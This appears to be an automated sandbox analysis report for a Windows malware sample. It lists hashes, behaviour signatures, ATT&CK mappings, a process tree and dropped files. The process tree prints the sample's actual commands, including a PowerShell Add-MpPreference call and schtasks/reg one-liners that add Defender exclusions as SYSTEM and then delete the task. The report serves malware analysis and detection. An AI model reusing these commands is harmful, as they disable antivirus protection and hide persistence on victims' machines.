Analysis
- max time kernel
148s - max time network
159s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 20:02
General
- Target 2026-08-09_1dc96f630b005afc1ce68e055844bba0_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe
- Size 40.7MB
- Sample260809-ysf3jsvele
- SHA256 19c4e279d6cfacf5db27f6618ceee33723508ff58c53d3aa468cae7dd2d22cd5
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Indicator Removal: Clear Persistence 1 TTPs 2 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 5 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\2026-08-09_1dc96f630b005afc1ce68e055844bba0_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-09_1dc96f630b005afc1ce68e055844bba0_cobalt-strike_coinminer_glassworm_icedid_njrat_vidar.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
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C:\Users\Public\cKl8Mi\4VHfmc.exe"C:\Users\Public\cKl8Mi\4VHfmc.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cKl8Mi\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\cKl8Mi\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
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C:\Users\Public\cKl8Mi\4VHfmc.exe"C:\Users\Public\cKl8Mi\4VHfmc.exe"1⤵
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C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\cKl8Mi" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
4VHfmc.exe
UxEnhance64.dll
adoresd.dat
msadox.tb
memory/3008-583-0x0000018284F50000-0x00000182857E1000-memory.dmp
memory/3008-579-0x0000018284F50000-0x00000182857E1000-memory.dmp
memory/3008-578-0x00007FFE10460000-0x00007FFE10462000-memory.dmp
memory/3008-577-0x0000018284F50000-0x00000182857E1000-memory.dmp
memory/3008-573-0x00007FFDEF7F0000-0x00007FFDEFD0E000-memory.dmp
memory/4220-544-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-556-0x0000023AD01F0000-0x0000023AD023E000-memory.dmp
memory/4220-530-0x00007FFE10450000-0x00007FFE10452000-memory.dmp
memory/4220-536-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-539-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-538-0x00007FFE10460000-0x00007FFE10462000-memory.dmp
memory/4220-543-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-566-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-545-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-546-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-550-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-531-0x00007FFDEF7F0000-0x00007FFDEFD0E000-memory.dmp
memory/4220-559-0x0000023AD1AD0000-0x0000023AD1B5A000-memory.dmp
memory/4220-560-0x0000023AD1AD0000-0x0000023AD1B5A000-memory.dmp
memory/4220-558-0x0000023AD1AD0000-0x0000023AD1B5A000-memory.dmp
memory/4220-561-0x0000023AD1AD0000-0x0000023AD1B5A000-memory.dmp
memory/4220-563-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4220-565-0x0000023AD2540000-0x0000023AD2DD1000-memory.dmp
memory/4632-0-0x0000000000490000-0x000000000049E000-memory.dmp
memory/4632-524-0x0000000000490000-0x000000000049E000-memory.dmp
memory/4632-525-0x00007FFE07D30000-0x00007FFE07D42000-memory.dmp
memory/4632-504-0x00007FFE07D30000-0x00007FFE07D42000-memory.dmp
memory/4632-2-0x00000000004A0000-0x00000000004AC000-memory.dmp
memory/4632-1-0x0000000000490000-0x000000000049E000-memory.dmp